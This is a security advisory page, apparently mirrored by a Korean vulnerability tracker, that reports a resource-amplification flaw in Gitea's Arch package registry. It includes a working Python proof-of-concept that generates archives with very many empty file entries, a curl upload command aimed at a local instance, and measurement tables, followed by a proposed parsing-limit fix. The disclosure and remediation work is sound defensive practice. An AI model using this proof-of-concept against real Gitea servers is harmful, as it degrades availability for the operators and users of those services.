Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
Hello Gitea Security Team,
Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.
During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.
As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.
Suggested Severity
Suggested severity: Medium
Suggested CVSS 3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Suggested CVSS score: 4.3
This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.
Affected Component
- Gitea package registry
- Arch package upload endpoint
- Arch package metadata parsing
- Arch repository index generation
Technical Details
The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.
The relevant flow appears to include:
routers/api/packages/arch/arch.go:46accepts the upload stream.routers/api/packages/arch/arch.go:55copies the upload into aHashedBuffer.routers/api/packages/arch/arch.go:62parses the archive witharch_module.ParsePackage.modules/packages/arch/metadata.go:149appends each non-dot regular tar entry name tofiles.modules/packages/arch/metadata.go:158stores the full list asp.FileMetadata.Files.routers/api/packages/arch/arch.go:77JSON-marshals the file metadata.routers/api/packages/arch/arch.go:143persists the metadata asarch_module.PropertyMetadata.services/packages/arch/repository.go:302deserializes the metadata during index generation.services/packages/arch/repository.go:365joins the full file list into the generatedfilesentry.
From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.
Impact
An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.
In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.
The practical impact appears to be resource amplification affecting:
- CPU usage during parsing and index generation
- memory usage during metadata handling
- database storage due to large serialized metadata
- repository index generation size and processing time
This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.
Local Validation Results
I tested this only on a local self-hosted Gitea instance.
A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.
A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.
Proof of Concept
The following proof of concept is intended only for a local self-hosted test instance.
Save the following script as generate_arch_metadata_test_package.py:
1#!/usr/bin/env python3 2from __future__ import annotations 3 4import argparse 5import gzip 6import io 7import tarfile 8from pathlib import Path 9 10PKGINFO = """pkgname = gitea-metadata-test11pkgbase = gitea-metadata-test12pkgver = 1.0.0-113pkgdesc = Local metadata scaling test package14url = https://example.invalid/15packager = local test16arch = x86_6417license = MIT18builddate = 171452160019size = 020"""21 22def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:23 info = tarfile.TarInfo(name=name)24 info.size = len(data)25 info.mode = 0o64426 tar.addfile(info, io.BytesIO(data))27 28def build_archive(output: Path, entries: int, name_width: int) -> None:29 output.parent.mkdir(parents=True, exist_ok=True)30 with output.open("wb") as raw:31 with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:32 with tarfile.open(fileobj=gz, mode="w|") as tar:33 add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))34 for i in range(entries):35 name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"36 add_bytes(tar, name, b"")37 38def main() -> None:39 parser = argparse.ArgumentParser(40 description="Generate a local Arch package test archive with many empty file entries.",41 )42 parser.add_argument("--entries", type=int, default=100000)43 parser.add_argument("--name-width", type=int, default=8)44 parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))45 args = parser.parse_args()46 47 if args.entries < 1:48 raise SystemExit("--entries must be at least 1")49 if args.name_width < 1:50 raise SystemExit("--name-width must be at least 1")51 52 build_archive(args.output, args.entries, args.name_width)53 print(f"wrote {args.output} with {args.entries} regular file entries")54 55if __name__ == "__main__":56 main()Generate a test archive:
1python3 generate_arch_metadata_test_package.py \ 2 --entries 100000 \ 3 --output gitea-metadata-test-100k.pkg.tar.gzUpload it to a local Gitea test instance with package publishing enabled:
1curl -X PUT \ 2 -H "Authorization: token <TOKEN>" \ 3 --upload-file gitea-metadata-test-100k.pkg.tar.gz \ 4 http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepoObserved local result:
1HTTP_STATUS=201 2TIME_TOTAL=0.482909 3SIZE_UPLOAD=470403Additional Validation
Parser-only measurements:
| Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time |
|---|---|---|---|---|---|
| 25 | 477 | 25 | 1,237 | 1,074 | 0 ms |
| 10,000 | 47,461 | 10,000 | 450,112 | 429,999 | 25 ms |
| 100,000 | 470,403 | 100,000 | 4,500,112 | 4,299,999 | 264 ms |
Local Gitea upload measurements:
| Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted files lines |
|---|---|---|---|---|---|---|---|
| 10,000 | 201 | 0.243 s | 47,461 | 450,112 | 10,000 | 27,267 | 10,001 |
| 100,000 | 201 | 0.483 s | 470,403 | 4,500,112 | 100,000 | 262,301 | 100,001 |
| 500,000 | 201 | 1.798 s | 2,349,767 | 22,500,112 | 500,000 | 1,306,465 | 500,001 |
Package Size Limit Behavior
I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.
| Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes |
|---|---|---|---|---|
| 100,000 | 470,403 | 201 | 4,500,112 | Accepted because the compressed upload was below the package size limit. |
| 500,000 | 2,349,767 | 403 | not stored | Rejected with maximum allowed package type size exceeded. |
This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.
Expected Behavior
Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.
Suggested Remediation
One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.
Potential controls could include:
- limiting the maximum number of regular file entries recorded in
FileMetadata.Files - limiting the cumulative byte length of recorded file names
- returning a clear 4xx validation error when an uploaded package exceeds those limits
- optionally making these limits configurable for instance operators
- adding regression tests for excessive file-entry count and excessive cumulative file-name size
For example, the validation could follow this general shape:
1const ( 2 maxArchMetadataFiles = 10000 3 maxArchMetadataFileNameBytes = 1 << 20 4) 5 6var totalFileNameBytes int 7 8// inside the tar entry loop 9if !strings.HasPrefix(filename, ".") {10 totalFileNameBytes += len(hd.Name)11 if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {12 return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")13 }14 files = append(files, hd.Name)15}This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.
Closing
Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.
I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…